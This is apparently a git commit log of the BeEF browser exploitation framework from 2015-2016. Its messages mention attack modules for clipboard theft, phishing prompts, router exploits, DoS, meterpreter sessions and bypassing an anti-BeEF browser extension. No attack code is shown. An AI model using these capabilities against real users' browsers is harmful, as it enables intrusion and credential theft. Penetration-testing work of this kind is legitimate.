85b1afb861 Fixed #1203 Now wrapping function names are appended with 8 bytes of random hexchars, to prevent name collisions. The rule_token "seed" is also stored in the ARE Execution table. 2016-03-14 16:43:59 +01:00
antisnatchor
d84c8ef976 Added support for Chrome 49. 2016-03-14 14:56:33 +01:00
Derren Desouza
80fe18c32c Update INSTALL.txt with Ubuntu instructions
Updated with installation script for Ubuntu based systems. The script may be copied and pasted in full into a terminal session and to run as a single command.
2016-03-11 12:33:07 +10:00
mgeeky
a677e9c746 Added checkbox specyfing whether to create a pop-under at user's tab closing event (module confirm_close_tab). Also extracted static confirmation message to the module's options. 2016-03-08 15:32:36 +01:00
mgeeky
8ab9716a44 Firefox has forbidden access to the chrome:// scheme rendering "Detect Extensions" module useless. The code has been trying to fingerprint installed extensions by creating image which would load extension-specific url and then in onload' event would send such information to the BeeF server. Unfortunately there was no code handling onerror' situation, therefore end user wasn't getting any status from this module (stating that it failed). The below commit adds such functionality. 2016-03-08 14:49:29 +01:00
mgeeky
faddd76de0 Added try..catch to avoid looped mozRTCSessionDescription undefined exceptions in Firefox (as occured in 43.0). Shouldn't do much havoc I guess. 2016-03-07 18:20:08 +01:00
mgeeky
e14b5f953a Modified the Man-In-The-Browser logic of building query string in form fetching. Previous implementation couldn't handle properly option and submit parameters, therefore a MITB-ed user wasn't sending correct query string which should include those two more fields. For instance, bWAPP application (by IT SEC Games) makes choosing a bug to exploit by submitting form consisting of an option and <button> with type=submit. With this patch an user behind MITB will be able to successfully fetch the form and thus proceed to the next bug. 2016-03-07 18:01:37 +01:00
antisnatchor
815eff8d4e Merge pull request #1220 from ilatypov/master
Delay form submission to allow the Javascript event loop complete the…
2016-02-18 15:51:00 +01:00
antisnatchor
39ca52ae8b Merge pull request #1221 from Und3rf10w/patch-1216
Update loader.rb to include optparse
2016-02-18 15:49:44 +01:00
Jonathan Echavarria
f1eb8c8723 Update loader.rb
Includes fixes for #1216 by loading the 'optparse' library
2016-02-17 09:29:11 -05:00
Ilguiz Latypov
d81db24912 Delay form submission to allow the Javascript event loop complete the transfer of the log. #1215 2016-02-15 16:02:06 -05:00
Brendan Coles
b8afb0e855 Add WS timer to banner 2016-02-13 10:00:47 +00:00
Brendan Coles
d110675c0f Revert 96dfde519a 2016-02-13 09:53:23 +00:00
Brendan Coles
7a668abc0a Update ARE to support Evasion extension - Fix #1219 2016-02-13 07:09:00 +00:00
Brendan Coles
60f046c775 Update jquery version in evasion exclude_core_js 2016-02-13 06:49:54 +00:00
Brendan Coles
d0ca66cbf5 Decrease workers and increase timeout 2016-02-12 14:38:42 +00:00
Brendan Coles
13fded460e assert_equal <expected>,<actual> 2016-02-12 13:59:50 +00:00
Brendan Coles
96dfde519a Remove JSON.stringify(results) from beef.websocket.send - Fix #1210 2016-02-12 13:25:39 +00:00
Brendan Coles
d1d7371ccf Disable console extension 2016-02-12 13:10:23 +00:00
Brendan Coles
ca288fef9f Update gems 2016-02-12 11:23:29 +00:00
Brendan Coles
1a16837182 Remove win32console gem dependency for Windows 2016-02-12 11:03:29 +00:00
Brendan Coles
afd48d8a5f Advise console extension is unavailable 2016-02-12 08:32:00 +00:00
Brendan Coles
8e5991784f Add ARE return status 2016-02-11 12:37:48 +00:00
Brendan Coles
bef0c6dcdd Add support for Windows 10 2016-02-10 07:40:28 +00:00
Brendan Coles
85d87f47b5 Remove HTTP method from beef.dom.persistentIframe - Fix #1211 2016-02-09 14:05:35 +00:00
Brendan Coles
8697c81ffa Replace eval with hard-coded strings 2016-02-08 08:29:52 +00:00
Brendan Coles
fa8464bdd9 Update supported browsers 2016-02-08 03:59:25 +00:00
Brendan Coles
5065a55238 Add lan_http_scan ARE rule 2016-02-07 13:19:35 +00:00
Brendan Coles
bb8fe9d8f8 Fix icon 2016-02-07 12:20:53 +00:00
Brendan Coles
7e6e3bc51d Add lan_flash_scan ARE rule 2016-02-07 12:20:04 +00:00
Brendan Coles
848dc65c6f Add cross_origin_scanner_flash module 2016-02-07 11:20:55 +00:00
Brendan Coles
321aff56f3 Rename cross_origin_scanner to cross_origin_scanner_cors 2016-02-07 10:53:32 +00:00
Brendan Coles
eb9e0a0a68 Add ARE return status 2016-02-07 01:01:02 +00:00
Brendan Coles
83e1f596de unless 2016-02-06 08:04:29 +00:00
Brendan Coles
dde8034606 Use 'Unknown' if BrowserPlatform is null 2016-02-05 04:25:23 +00:00
Brendan Coles
1715113ffa Update Ruby version requirement to 2.0 2016-02-04 09:39:59 +00:00
Brendan Coles
6e157e163f Update therubyracer link 2016-02-04 09:34:12 +00:00
Brendan Coles
ac1b51bbb2 Use groups in Gemfile 2016-02-04 09:32:55 +00:00
Brendan Coles
989d6de65a Check ENV['LANG'] for UTF-8 compatibility 2016-02-04 07:51:45 +00:00
Brendan Coles
9e0ccf71bb Change /api/modules/multi_browser to accept 'ALL_ONLINE' for 'hb_ids' 2016-02-04 00:49:29 +00:00
Brendan Coles
8e3264e750 Change names 2016-02-03 22:57:33 +00:00
Brendan Coles
f4ff606cbf Change /api/modules/multi_browser to accept 'ALL' for 'hb_ids' 2016-02-02 21:50:08 +00:00
Brendan Coles
efe8961dfa Fix file path - Fix #1204 2016-02-02 01:40:26 +00:00
Brendan Coles
5507447661 Hide ARE rule processing output unless debugging 2016-02-01 18:42:21 +00:00
Brendan Coles
efb99f9e98 Add command module ID to module response log message 2016-02-01 14:18:24 +00:00
Brendan Coles
39df7184aa Add Clear Console module 2016-01-31 20:29:45 +00:00
Brendan Coles
ff50dc9c4a Add lan_fingerprint ARE rule 2016-01-31 20:27:44 +00:00
Brendan Coles
623db6229e Add lan_cors_scan ARE rule 2016-01-31 20:27:14 +00:00
Brendan Coles
e462e504fb Add support for ARE rules with multiple browsers 2016-01-31 20:26:35 +00:00
Brendan Coles
fefcef6fb0 Update support for Chrome 2016-01-31 20:09:45 +00:00
Brendan Coles
14531f782a Remove OS requirement 2016-01-30 17:34:20 +00:00
Brendan Coles
798e79b55f Add Midori logo 2016-01-30 15:03:00 +00:00
Brendan Coles
85106b98de Add Odyssey logo 2016-01-30 14:14:05 +00:00
Brendan Coles
9e7f36c113 Re-indent 2016-01-30 13:56:22 +00:00
Brendan Coles
e947acc69b Add AROS logo 2016-01-30 13:54:24 +00:00
Brendan Coles
41b5b8fd06 Use Ruby 2.1.5 2016-01-29 16:50:01 +00:00
Brendan Coles
041ce83c74 Update Gemfile.lock 2016-01-29 16:42:45 +00:00
Brendan Coles
485049f4c8 Version check to ensure BeEF is running Ruby 2.0+ 2016-01-29 16:25:16 +00:00
Brendan Coles
5a1b64b97b Remove unused match_browser function 2016-01-27 19:58:26 +00:00
Brendan Coles
6625a2bd29 Fix browser details nil window/screen size bug 2016-01-27 19:25:06 +00:00
Brendan Coles
39f8916547 Update config 2016-01-27 19:13:06 +00:00
Brendan Coles
e7490a33c3 Add support for AROS 2016-01-27 19:07:57 +00:00
Brendan Coles
2d2edc6858 Add support for Odyssey browser 2016-01-27 19:06:36 +00:00
Brendan Coles
5b5a1b84b9 Clean up zombie hash 2016-01-27 18:14:19 +00:00
Brendan Coles
4719c50b17 Add support for Firefox 44 2016-01-27 17:33:23 +00:00
Brendan Coles
d1584f3f54 Add support for Midori browser 2016-01-27 17:29:01 +00:00
Brendan Coles
19563d696f Save command status when using websockets - Fix #1200 2016-01-27 16:50:51 +00:00
Brendan Coles
96716e248a Add hard-coded module result status 2016-01-27 16:38:04 +00:00
Brendan Coles
47c1bd29aa Fix ARE rule length check 2016-01-26 15:33:57 +00:00
Brendan Coles
b0bf1c0c21 Change Metasploit ssl_version from TLSv1 to TLS1 2016-01-25 11:21:40 +00:00
Brendan Coles
62b2e34320 Update shocker-cgi_list 2016-01-25 09:58:22 +00:00
Brendan Coles
b2cf94483c Update Gemfile.lock 2016-01-25 08:10:55 +00:00
Brendan Coles
bea6ccda73 Update comments and use SSL/TLS by default 2016-01-21 15:52:48 +00:00
Brendan Coles
439040a89e Skip ARE if no rules specified 2016-01-21 08:09:55 +00:00
Brendan Coles
5903f026ea Add Resource Exhaustion DoS module 2016-01-21 08:09:13 +00:00
Brendan Coles
fc12c61e5f Rename Airdrone module to Airdroid 2016-01-13 22:47:33 +00:00
Brendan Coles
f3f04a50ca Add error handling, more output and debug output 2016-01-13 22:05:48 +00:00
Brendan Coles
e252fa51c5 Replace .catch() with .then() - Fix #1192
as per: https://github.com/webrtc/adapter/issues/133
2016-01-13 07:25:17 +00:00
Brendan Coles
e5f59f2df6 Update Gemfile.lock 2016-01-01 16:31:32 +00:00
Brendan Coles
12209714bc Remove uglifier version requirement 2016-01-01 16:29:32 +00:00
Wade Alcorn
ce01d9fa46 updated copyright year 2015-12-30 08:11:57 +10:00
Brendan Coles
ebbdbe0b51 Update context menu 2015-12-23 11:15:36 +00:00
Brendan Coles
6ba1074695 Prevent duplicates 2015-12-23 11:14:55 +00:00
Brendan Coles
dc9b4d3214 Add method to remove network host 2015-12-19 05:55:36 +00:00
Brendan Coles
d9cb64e1cb successfully 2015-12-19 04:57:50 +00:00
Brendan Coles
dea18f8718 Update Ruby version to 2.2.4 2015-12-19 03:58:47 +00:00
Brendan Coles
5d8393822f Remove Identify LAN Subnets from Network extension 2015-12-19 03:22:01 +00:00
Brendan Coles
976b875639 Update description 2015-12-16 15:55:33 +00:00
Brendan Coles
0f0a4d90b3 Add SunOS detection 2015-12-16 15:15:38 +00:00
Brendan Coles
83a4b532aa print_error 2015-12-15 09:50:14 +00:00
Brendan Coles
db9b3e1f0e Add Get ntop Network Hosts module 2015-12-15 09:11:26 +00:00
Brendan Coles
666f3d0ea3 Add context menu to Rider history panel 2015-12-14 17:55:30 +00:00
Brendan Coles
61a9b94ca1 Add webrtc unit test stub 2015-12-14 17:01:26 +00:00
Brendan Coles
ebd2fa6088 Add console unit test stub 2015-12-14 16:57:31 +00:00
Brendan Coles
11a7d56584 Exit cleanly on console history log mkdir failure 2015-12-14 16:19:40 +00:00
Brendan Coles
7ce85776cc Update butcher demo jQuery to 1.11.3 2015-12-14 15:03:58 +00:00
Brendan Coles
10d79b9a71 Add proto to Requester history and add SSL checkbox to Forge Request 2015-12-14 12:43:39 +00:00
Brendan Coles
95abdf6781 Add 'proto' property to Requester HTTP model 2015-12-14 12:40:34 +00:00
Brendan Coles
e354ab8045 Add support for request.proto to beef.net.forge_request 2015-12-14 12:38:41 +00:00
Brendan Coles
49f648c0c7 Add Disable Developer Tools module 2015-12-13 22:01:43 +00:00
Brendan Coles
0226a91048 Add Get Network Connection Type module 2015-12-13 21:49:21 +00:00
Brendan Coles
cb4df3a72c Validate beef.net.connection.type value 2015-12-13 21:43:29 +00:00
Brendan Coles
06e9c6024b Add ignore_public_ips option to Network extension 2015-12-13 09:26:55 +00:00
Brendan Coles
852e0b4595 Add Discover Proxies option to Network extension UI 2015-12-13 09:25:34 +00:00
Brendan Coles
5738e08ba0 Rename and update asus_rt_series_get_info 2015-12-13 07:08:09 +00:00
Brendan Coles
575bbd6560 Update clipboard theft module 2015-12-13 06:54:48 +00:00
Brendan Coles
ea8d331b47 Add BeEF::Filters.is_valid_private_ip() 2015-12-13 06:51:40 +00:00
Brendan Coles
28cd84c558 Add ARE status to module response 2015-12-12 19:08:09 +00:00
Brendan Coles
9dd468d10f Default to 'ALL' for browser, browser_version, os, os_version if unspecified 2015-12-12 18:49:02 +00:00
Brendan Coles
09b2dd9151 Add ntop signature 2015-12-12 18:46:07 +00:00
Brendan Coles
951e694251 Fix Skype XSS module class name 2015-12-12 18:45:14 +00:00
antisnatchor
f6e96937d3 Merge pull request #1160 from hiburn8/master
added a WP module
2015-12-10 15:19:07 +01:00
antisnatchor
1758383bc4 Merge pull request #1179 from atilaromero/patch-1
Fix "ALL" comparison for browser and os
2015-12-10 15:17:52 +01:00
antisnatchor
00e97cc3dc Merge pull request #1185 from beefproject/SkypeXSS
Skype xss
2015-12-10 15:15:17 +01:00
antisnatchor
e4afd12a9b Fixed Flash detection on IE11, thanks @badbob as this was originally part of his pull request which I haven't merged earlier ;-) 2015-12-10 15:00:02 +01:00
Brendan Coles
2999142247 Add support for Firefox 43 2015-12-10 13:05:16 +00:00
antisnatchor
d585f3ab24 Added RESTful API call to update os/os_version/arch of a specific browser (useful in MITM scenarios where you have more powerful tools than browser/JS to fingerprint) 2015-12-02 14:35:55 +01:00
antisnatchor
7b1b3ef06c Moved PhishingFrenzy integration code check before ARE/network 2015-12-02 14:35:08 +01:00
antisnatchor
0c68b3235f Added support for Chrome 47 2015-12-02 14:03:10 +01:00
Brendan Coles
f893808003 raise InvalidParamError 2015-11-28 09:14:44 +00:00
Brendan Coles
21176eb9ac Add status bar messages for WebRTC 2015-11-28 05:51:41 +00:00
Brendan Coles
b8b99ed044 Fix status bar 2015-11-28 01:47:13 +00:00
Christian Frichot
27c7e76554 Updated WebRTC extension with AdminUI enhancements and arbitrary command module execution 2015-11-27 11:00:35 -08:00
Brendan Coles
78a30bde15 Add support for Firefox 42 2015-11-03 21:51:03 +00:00
antisnatchor
d017bdc585 is_valid_hostname now accepts also FQDNs with double dash or dot (although technically wrong as per RFC, some registrants allow them). 2015-10-25 15:06:55 +01:00
antisnatchor
5dbfe37480 Added support for Chrome 46 2015-10-25 14:50:19 +01:00
Atila Romero
09ff1f5f0a Update engine.rb 2015-10-23 16:50:13 -02:00
Brendan Coles
98a3ae930b Add NetworkHost :lastseen to console 2015-10-11 10:42:55 +00:00
Brendan Coles
6d2cf5efe2 Add Get Proxy Servers (WPAD) module 2015-10-11 10:29:34 +00:00
Brendan Coles
4c62d4af58 Remove hackvertor 2015-10-11 10:24:50 +00:00
Brendan Coles
ea039379ff Merge pull request #1150 from innoying/patch-1
Add IPv6 Support to get_internal_ip_webrtc command
2015-10-11 20:54:09 +11:00
Atila Romero
8626b1b275 Fix "ALL" comparison for browser and os
The correct is to check if the *rule.browser* has the tag "ALL", not if the browser was identified as "ALL", which of course never happen.
Before this fix, using "ALL" in a ARE rule makes it be never called.
2015-10-06 11:01:30 -03:00
antisnatchor
277c87db5b Merge pull request #1177 from bcoles/vis.js
Add vis.js to Admin UI
2015-10-05 13:53:17 +02:00
antisnatchor
5d2bdf4f39 Merge pull request #1178 from bcoles/network_map
Network Map
2015-10-05 13:52:48 +02:00
Brendan Coles
a3a802a390 Add Network Map tab to Admin UI 2015-10-04 09:14:31 +00:00
Brendan Coles
68e422517a Add Network Map assets 2015-10-04 09:13:17 +00:00
Brendan Coles
493622bdcc Add vis.js to Admin UI 2015-10-04 08:37:26 +00:00
Brendan Coles
cfc39edb54 return 2015-10-04 08:35:53 +00:00
Brendan Coles
9386fa28e7 Add beef.net.connection client methods 2015-10-03 14:27:27 +00:00
Brendan Coles
6a2d3fa223 Check browser plugins in beef.browser.hasJava() 2015-10-03 13:19:33 +00:00
Brendan Coles
14c235b44b Merge pull request #1170 from Compewter/master
Add logic for beef.browser.javaEnabled function
2015-10-03 23:02:51 +10:00
Brendan Coles
1626e801c2 Add :lastseen property to NetworkHost model 2015-10-02 00:13:08 +00:00
Brendan Coles
5f5181f51b Add Detect Burp module 2015-10-01 07:57:27 +00:00
Brendan Coles
ed321bf5ec Remove :cid property from Network extension data models 2015-09-30 07:20:29 +00:00
Brendan Coles
cc3b10b889 Add support for Firefox 41 2015-09-30 06:59:34 +00:00
Brendan Coles
48493812d5 Add support for Chrome for iOS versions 43, 44, 45 2015-09-30 04:58:04 +00:00
Brendan Coles
f685f4a0a9 Add support for Chrome 45 2015-09-30 01:10:21 +00:00
Brendan Coles
31361a3191 Merge pull request #1175 from xxbinxx/master
URL performance enhanced with user content security
2015-09-30 09:07:35 +10:00
Brendan Coles
00afced5f1 Use opts[:ssl_version] 2015-09-29 06:27:45 +00:00
Bineet kumar gaur
a2564a504e URL replaced 2015-09-29 10:45:43 +05:30
Bineet kumar gaur
f23a384ead faster URL load... no delay 2015-09-29 10:44:36 +05:30
Bineet kumar gaur
696fd5c7c1 No https redirection... direct hit url with curl 2015-09-29 10:41:30 +05:30
Bineet kumar gaur
70f787ee57 URL changed to faster load 2015-09-29 10:40:15 +05:30
Brendan Coles
6e229a28cf Merge pull request #1141 from qswain2/IOS-pretty-theft
IOS pretty theft
2015-09-29 12:55:03 +10:00
Brendan Coles
cd55779d35 Merge pull request #1172 from n00py/master
Add Linksys E2500 router exploits
2015-09-16 23:58:52 +10:00
n00py
4852f0d861 linksyse2500 2015-09-16 01:57:23 -07:00
Michael Wetherald
2eae689bf1 Add logic for beef.browser.javaEnabled function 2015-09-13 22:28:51 -07:00
Brendan Coles
f17ea36ca3 Rescue DNS server port unavailable - Fix #1166 2015-09-13 16:24:18 +00:00
Brendan Coles
fe8aacecf4 Add Ipec unit test stub - Fix #586 2015-09-09 18:51:40 +00:00
Brendan Coles
3ef47151b5 Add XssRays unit test stub - Fix #578 2015-09-09 18:50:50 +00:00
Brendan Coles
091841fc1a Add QRcode extension unit test stub 2015-09-09 18:47:11 +00:00
Brendan Coles
9a0a36176f Add Proxy unit tests - Fix #30 2015-09-09 07:41:56 +00:00
Brendan Coles
44c5c73f97 Add Requester unit tests - Fix #29 2015-09-09 07:40:36 +00:00
Brendan Coles
ae1fa3e958 Rescue missing SSL cert/key files 2015-09-09 07:36:45 +00:00
Brendan Coles
07f61ff5f0 Add 'Target URI' module option 2015-09-01 14:02:19 +00:00
Brendan Coles
20fff8283f Merge pull request #1162 from byt3bl33d3r/master
added extensions/admin_ui/media/javascript-min/ to .gitignore
2015-09-01 22:53:10 +10:00
byt3bl33d3r
301d3a88a5 added extensions/admin_ui/media/javascript-min/ to .gitignore 2015-09-01 14:43:12 +02:00
Daniel Reece
99367bb619 added a WP module 2015-08-31 23:49:32 +01:00
Brendan Coles
1eb1be2adf Merge pull request #1156 from bcoles/blockui
Add jQuery BlockUI plugin to hook
2015-08-25 22:44:18 +10:00
Brendan Coles
4391a856ac Replace eval with compare_versions 2015-08-22 19:46:07 +00:00
Brendan Coles
02ff6a9313 var 2015-08-22 19:41:28 +00:00
Brendan Coles
f1d1e0f176 Update gem rest-client to ~> 1.8.0 2015-08-22 18:06:25 +00:00
Brendan Coles
cfd1584d0c Add autopwn URL validation 2015-08-22 18:03:10 +00:00
Brendan Coles
2b19c2dd13 Add Proxy integration tests - Fix #30 2015-08-22 10:56:13 +00:00
Brendan Coles
8f683e6d0f Add Proxy REST /api/proxy/setTargetZombie 2015-08-22 10:47:04 +00:00
Brendan Coles
b89ca6baa3 Add jQuery BlockUI plugin to hook 2015-08-18 13:47:09 +00:00
Brendan Coles
bbeeabdffe Add bundle-audit Rake tasks
Thanks @cwest !

Source: http://caseywest.com/run-bundle-audit-from-rake/
2015-08-18 04:35:32 +00:00
Brendan Coles
fbdbfd4896 Use HTTPS for rubygems.org source 2015-08-18 03:27:27 +00:00
Brendan Coles
e06198c320 Use ignore_headers in proxy 2015-08-16 11:29:30 +00:00
Brendan Coles
cf2f1093a7 Add support for Firefox 40 2015-08-15 06:59:15 +00:00
Brendan Coles
e22c5ea7e2 Use beef.debug in deployJava.js 2015-08-04 14:58:34 +00:00
antisnatchor
050cc3edfd Fixed #1151 2015-07-30 10:46:12 +02:00
Luke Young
bbcf3776ce Add IPv6 Support to get_internal_ip_webrtc command
This update adds support for IPv6 to the RTCPeerConnection revealing internal IPv6 addresses as well.
2015-07-29 13:24:58 -07:00
antisnatchor
d34f97c4cb Fixed #1147 (introduced with one of the latest commits :-) 2015-07-29 16:19:07 +02:00
antisnatchor
605a71d38a cutting string with [start..end] rather than split() for more accurate parsing. 2015-07-29 11:13:03 +02:00
antisnatchor
520d62a3f9 Reduced browser/os_version max length to 15 chars. 2015-07-29 10:59:27 +02:00
antisnatchor
39d85d4b53 Added TODO for better cpu detection on != Win 2015-07-29 10:41:02 +02:00
antisnatchor
568f63f13d Refactored the cpu detection JS code. Now starts to detect if the target is 64 bit, then moves to the other checks. 2015-07-29 10:25:32 +02:00
antisnatchor
157fd4104b Added code comments about eval usage :-) 2015-07-28 14:12:27 +02:00
antisnatchor
4d0f1981c2 Added RESTful API calls to delete and list rulesets. 2015-07-28 11:41:46 +02:00
antisnatchor
b81f7c6953 Small changes in some rulesets, fixed old code comments. 2015-07-28 10:29:50 +02:00
antisnatchor
031f587421 Removed fixed TODOs 2015-07-27 16:38:03 +02:00
antisnatchor
4334dd1e54 Using same variable convention for consistency 2015-07-27 15:49:12 +02:00
antisnatchor
6f5b025acc Added more restrictions on browser/os version definitions 2015-07-27 14:02:20 +02:00
antisnatchor
e3a20adeb0 Re-added config object 2015-07-27 13:29:47 +02:00
antisnatchor
b7788d6fe5 Cleaned rules. 2015-07-27 12:31:37 +02:00
antisnatchor
3c80da5776 Added support for Chrome 44 2015-07-27 12:21:44 +02:00
antisnatchor
a2d4def983 Added readme for ARE enabled rules folder, removed jools test stuff 2015-07-27 10:45:35 +02:00
antisnatchor
bdecbd21a0 Merged changed from master branch, disabled ARE rules by default. 2015-07-27 10:44:51 +02:00
antisnatchor
c84e1b88ac Autorun Rule Engine from @antisnatchor with love (alpha version). 2015-07-27 10:34:58 +02:00
Brendan Coles
fa2f175400 Replace 'console.log' with 'beef.debug' 2015-07-24 07:50:53 +00:00
qswain2
fb19af6705 Fix 404 for linkedin logo in pretty theft 2015-07-20 20:25:59 -04:00
qswain2
46b632e316 Add IOS option to pretty theft
Adds option to display a prompt styled like
an IOS application. Port of POC example used
by jansoucek's IOS Mail injection POC
2015-07-20 19:39:19 -04:00
Brendan Coles
1f00c396c6 Replace console.log with beef.debug 2015-07-19 10:36:59 +00:00
Brendan Coles
799e5d9626 Use local dropper URL 2015-07-19 10:32:04 +00:00
antisnatchor
7cb94386fe Merge branch 'dns-rebinding'
Merging pull request #1105, including some bug fix.
2015-07-19 11:28:47 +02:00
antisnatchor
51cc5963fa Replaced system with IO.popen to prevent an unlikely RCE, and also added additional checks. 2015-07-19 11:24:53 +02:00
Michele Orru
dfd2baafcd Merge pull request #1124 from auraltension/master
Config file should not be relevant to beef install dir
2015-07-19 10:48:53 +02:00
Michele Orru
6c10377112 Merge pull request #1132 from byt3bl33d3r/master
Added .ruby-gemset and .ruby-version for rvm
2015-07-19 10:47:45 +02:00
Michele Orru
f617422be2 Merge pull request #1140 from redknight99/patch-1
Update Install.txt
2015-07-19 10:46:24 +02:00
redknight99
56a013b06f Update Install.txt
1. Updated the "therubyracer for windows" link. The current one was 404. 

2. Added an instruction about changing the dependencies. Without changing the dependencies bundle install will attempt to install an incompatible version of therubyracer .
2015-07-18 15:58:47 -07:00
Brendan Coles
13428e6ff7 Host clippy images locally 2015-07-18 06:48:10 +00:00
Wade Alcorn
d3e1d5b506 Updated version to 0.4.6.1-alpha 2015-07-13 11:43:05 +10:00
Wade Alcorn
5d302cd74c Updated version to 0.4.6.1-alpha 2015-07-13 09:40:54 +10:00
Brendan Coles
aaefde9b43 Replace console.log with beef.debug 2015-07-12 22:51:06 +00:00
Brendan Coles
bcd2dd1b32 Remove duplicate gem 2015-07-11 15:30:43 +00:00
Brendan Coles
7f29e676b3 Use public URL 2015-07-10 22:36:14 +00:00
Brendan Coles
cbfe472eb7 Merge pull request #1125 from ReliaQuest-Labs/master
Fixed hta_powershell module so that it can establish a meterpreter session.
2015-07-11 08:09:12 +10:00
Brendan Coles
326e9536d6 Remove unused test cases 2015-07-08 08:33:00 +00:00
Brendan Coles
a1f0eb90c5 CamelCase for consistency 2015-07-08 08:28:29 +00:00
Christian Frichot
13593990e5 WebRTC extension FF fix
Thanks to updates in modern FFs handling of WebRTC
the webrtcadapter wrapper had to be updated.
To ensure this would be picked up, also added
WebRTC REST integration test cases.
The tests only run if the extension is enabled,
which is still OFF by default.

See Issue #1134 and #1083
2015-07-08 15:13:21 +08:00
Brendan Coles
526cd42170 Add software fingerprints 2015-07-07 15:09:10 +00:00
Brendan Coles
d737bb19c2 save results 2015-07-07 14:51:04 +00:00
Brendan Coles
83e8bf5186 Add Detect Airdrone module 2015-07-07 13:20:59 +00:00
byt3bl33d3r
13fb6d58b4 Added .ruby-gemset and .ruby-version for rvm 2015-07-06 00:16:27 +02:00
antisnatchor
61af18858e Removed Silverlight detection from default hook. Use DetectSilverlight module instead. This fixes a UI alert to the user if the plugin is outdated. 2015-07-05 16:12:15 +02:00
antisnatchor
ea9549adbe Fixed issue with latest Rack. Now using mime/types to return the right content-type based on file extension when using AssetHandler.bind. 2015-07-05 12:44:00 +02:00
Brendan Coles
c9fac43b2d Add 'msf.token_generate()' for Metasploit 'auth.token_generate' MSGRPC call
Augment 'msf.login()' to generate and use a permanent authentication token
with 'msf.token_generate()' to prevent authentication failures caused by
timeout of temporary tokens.

The default value for Msf::RPC::Service#token_timeout is 300 seconds.
All temporary tokens expire after [token_timeout] seconds of inactivity.
2015-07-02 13:07:47 +00:00
antisnatchor
f891d963d7 2nd Bypass for Vegan anti-BeEF Chrome extension (v. 1.2) 2015-07-01 12:30:47 +02:00
Brendan Coles
6f56f00a18 set --read-timeout=60 --tries=3 for wget 2015-06-29 20:08:04 +00:00
Brendan Coles
968ed12849 Fix wget verify_ssl 2015-06-29 19:58:01 +00:00
Brendan Coles
06bbfe9c3b Add BeEF::Filters.is_valid_port 2015-06-29 19:31:35 +00:00
antisnatchor
c387778959 Merge branch 'master' of https://github.com/beefproject/beef 2015-06-29 18:15:43 +02:00
antisnatchor
d9012d0f15 Check for ; and = characters when setting cookies 2015-06-29 12:00:03 +02:00
Brendan Coles
0d3c123e26 Use NetworkService.add and NetworkHost.add 2015-06-28 17:30:14 +00:00
Brendan Coles
d05397e0a9 Add NetworkService.add and NetworkHost.add 2015-06-28 17:22:16 +00:00
Brendan Coles
12d64d1165 Return unique results sorted by id 2015-06-28 08:56:13 +00:00
Brendan Coles
916828e131 Add 'verify_ssl' option to social engineering config 2015-06-28 08:53:23 +00:00
Brendan Coles
694ec61a02 Add TC_Modules test_safe_client_debug_log 2015-06-27 18:57:47 +00:00
Brendan Coles
8b4ad51899 Replace console.log with beef.debug 2015-06-27 18:56:06 +00:00
Brendan Coles
1f40987355 Use RSpec::Matchers in TC_Login 2015-06-27 18:10:56 +00:00
Brendan Coles
c9c9bfa6ee Decrease BeefTest.login sleep to 10 seconds 2015-06-27 17:51:54 +00:00
Brendan Coles
96dcba967b Update eventmachine from 1.0.3 to 1.0.7 in Gemfile.lock
Required by Ruby 2.2
2015-06-27 17:48:25 +00:00
Brendan Coles
7b234c9b98 Add rspec to Gemfile 2015-06-27 17:40:43 +00:00
antisnatchor
de13116182 fixed indentdation 2015-06-26 12:15:47 +02:00
antisnatchor
5de857f710 Merge branch 'master' of https://github.com/beefproject/beef 2015-06-26 12:08:53 +02:00
antisnatchor
4413cde187 Bypass for the 'Vegan' anti-BeEF Chrome extension. 2015-06-26 12:05:13 +02:00
Brendan Coles
a98ca1ff98 Add test_port_scanner_results test case 2015-06-25 12:54:52 +00:00
Brendan Coles
423b66f424 Close unused Capybara sessions 2015-06-24 22:16:35 +00:00
Brendan Coles
1aaf529fdd Add TC_NetworkRest test cases 2015-06-24 07:35:20 +00:00
Christian Frichot
f24dd22b05 SocEng RESTful API test case fix
The test_1_dns_spoof test will now work on OSX/nix by
using dig +short to get the A record instead of using
a large regex. In addition, the test will not iterate
over ALL local non-loopback IPs for a match.

See Issue #1083
2015-06-23 16:47:19 +08:00
Christian Frichot
ba990e2869 beef.net.request JS method now fires callbacks ALWAYS - not just on successful requests. Fixes Issue #1127 2015-06-23 16:21:58 +08:00
Brendan Coles
68c1f87c42 set VICTIM_DOMAIN to localhost for tests
The VICTIM_DOMAIN and ATTACK_DOMAIN must be different.

The VICTIM_DOMAIN was 127.0.0.2 however Mac OSX does
not support 127.0.0.x unless aliased. Using 'localhost'
resolves this issue.
2015-06-23 07:30:57 +00:00
Brendan Coles
a5c2ca8441 Merge branch 'master' of https://github.com/beefproject/beef 2015-06-23 07:29:13 +00:00
Christian Frichot
f51571d8b3 Updated base core filter to handle undefined/illegal/invalid UTF8 byte sequences. See Issue #1126 2015-06-23 09:13:30 +08:00
Brendan Coles
b7fd36aeaa Add signatures 2015-06-22 15:58:26 +00:00
Brendan Coles
83f88ad401 Replace 'rest_client' with 'rest-client' 2015-06-22 15:15:48 +00:00
Brendan Coles
e31f0b8c44 use localhost for integration tests 2015-06-22 15:11:21 +00:00
Brendan Coles
16622b13a5 Add clone_page REST example 2015-06-22 09:45:43 +00:00
Brendan Coles
e7bc352db2 halt 500 if page cloning is unsuccessful 2015-06-22 09:42:10 +00:00
Brendan Coles
e17a48fae2 rescue TypeError, ArgumentError 2015-06-22 09:35:31 +00:00
Brendan Coles
b646535be3 Add TC_DynamicReconstruction test cases 2015-06-22 09:33:06 +00:00
Brendan Coles
a35f42da5b Add TC_DynamicReconstruction.suite 2015-06-22 09:10:07 +00:00
Brendan Coles
e66183a3ba rescue Errno::ENOENT 2015-06-22 07:46:51 +00:00
Brendan Coles
3bec9b2702 Add support for Firefox 39 2015-06-22 06:14:33 +00:00
Brendan Coles
c729408d4b Capitalize login test case for consistency 2015-06-22 05:23:07 +00:00
Brendan Coles
f228f256de Remove unused test cases 2015-06-22 05:20:07 +00:00
Brendan Coles
3fa857525e Add '/api/seng/clone_page' example 2015-06-13 02:18:26 +00:00
Brendan Coles
11291e9577 Use public host and port for web cloner. Fix #1121 2015-06-13 02:15:38 +00:00
Wade Alcorn
23533746a4 Updated readme files to include bug reporting methods 2015-06-13 11:50:55 +10:00
Jonathan Echavarria
8f46ed8c26 Merge pull request #1 from ReliaQuest-Labs/hta_patch
Fixed hta_powershell module so that it can establish a meterpreter session.
2015-06-12 15:40:56 -04:00
Jonathan Echavarria
a826b89480 removed comments 2015-06-12 19:15:43 +00:00
Jonathan Echavarria
